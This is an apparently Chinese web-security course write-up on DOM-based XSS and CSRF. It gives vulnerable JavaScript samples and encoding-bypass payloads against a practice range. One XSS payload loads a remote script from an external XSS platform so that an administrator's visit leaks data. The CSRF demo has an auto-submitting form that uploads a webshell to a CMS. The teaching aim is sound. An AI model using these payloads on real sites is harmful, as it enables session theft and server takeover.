6-3 Dom Based XSS
一、什么是Dom Based XSS
DOM—based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。
二、Dom Based XSS
每个载入浏览器的 HTML 文档都会成为 Document 对象。
Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。
Document 对象属性
转码地址:http://tool.oschina.net/encode?type=3
document.lastModified 可用于查看是否为动态网页
JS触发的Xss就是Dom型xSS
Document.write()输出内容
<script>
var pos=document.URL.indexOf("name=")+5;
var username=unescape(document.URL.substring(pos,document.URL.length));
var r=\'<b>\'+username+\'</b>\';
document.write(r);
</script>
http://10.211.55.3/1.htmll?name=<script>alert(1)</script>
innerHTML()改变内容
<div id=\'zkaq\'>1</div>
<input type="button" onclick=fun() value="点击有惊喜">
<script>
function fun(){
var url=unescape(document.URL);
var pos=url.indexOf("name=")+5;
document.getElementById("zkaq").innerHTML="Hi,<b>"+url.substring(pos,url.length)+"</b>";
}
</script>
http://10.211.55.3/2.html?name=<img src=# onerror=alert(1)>
这里触发不能用script
eval()代码执行
</h1>Hello World</h1>
<script>
var a=location.hash.substr(1);
eval(a);
</script>
http://10.211.55.3/3.html#alert(1)
location.hashURL标识中的 \'#\'
和 后面URL片段标识符
三、DOM型XSS靶场演示
1.index.php/1.txt方法绕过
http://59.63.200.79:8014/dom_xss/?<script>alert(1)</script>
http://59.63.200.79:8014/dom_xss/index.php/1.txt?<script>alert(1)</script>
发现发现需要闭合前面的<script>
前面加</script>
就可以正成功弹窗
http://59.63.200.79:8014/dom_xss/index.php/1.txt?</script><script>alert(1)</script>
2.Native编码绕过
将<script>alert(1)</script>
转换成Native编码
http://59.63.200.79:8014/dom_xss?\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e
3.通过提交意见让管理员点击
</sCrIpT><sCRiPt sRC=//xs.sb/DEr5></sCrIpT>
转换成Native编码
http://59.63.200.79:8014/dom_xss?\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0078\u0073\u002e\u0073\u0062\u002f\u0044\u0045\u0072\u0035\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e
管理员访问就可以在XSS平台得到flag
6-4CSRF - 跨站请求伪造
一、什么是CSRF?
CSRF(Cross-site request forgery)跨站请求伪造:也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
其实说白了,
csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)
例如:银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危险网站B,它里面有一段HTML的代码如下:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块......
为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>
以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作......
危害
攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。
如何预防CSRF
可以强行用验证码(强制用户必须和应用进行交互,但是体验性太差了)
请求中加随机Token值
什么是随机Token值(不同的表单包含一个不同的伪随机值)
那么XSS 偷Cookie
CSRF 利用Cookie浏览器会自动填充Cookie进访问的数据
二、CSRF靶场演示
http://59.63.200.79:8010/csrf/uploads/dede
admin
admin123登陆
上传一句话木马,并burp抓包
抓到的包,生成CSRF的html代码
默认生成的HTML需要点击能提交数据包,可以通过以下方式实现自动
<form id="aa" action="http://59.63.200.79:8010/csrf/uploads/dede/file_manage_control.php" method="POST">
······
</form>
<script>
function validate(){
document.getElementById(\'aa\').submit();
}
setTimeout(validate,100)
</script>
复制
当用户打开次HTML时就会http://59.63.200.79:8010/csrf/uploads发送请求上传1.php文件的请求
- 点赞
- 收藏
- 关注作者
评论(0)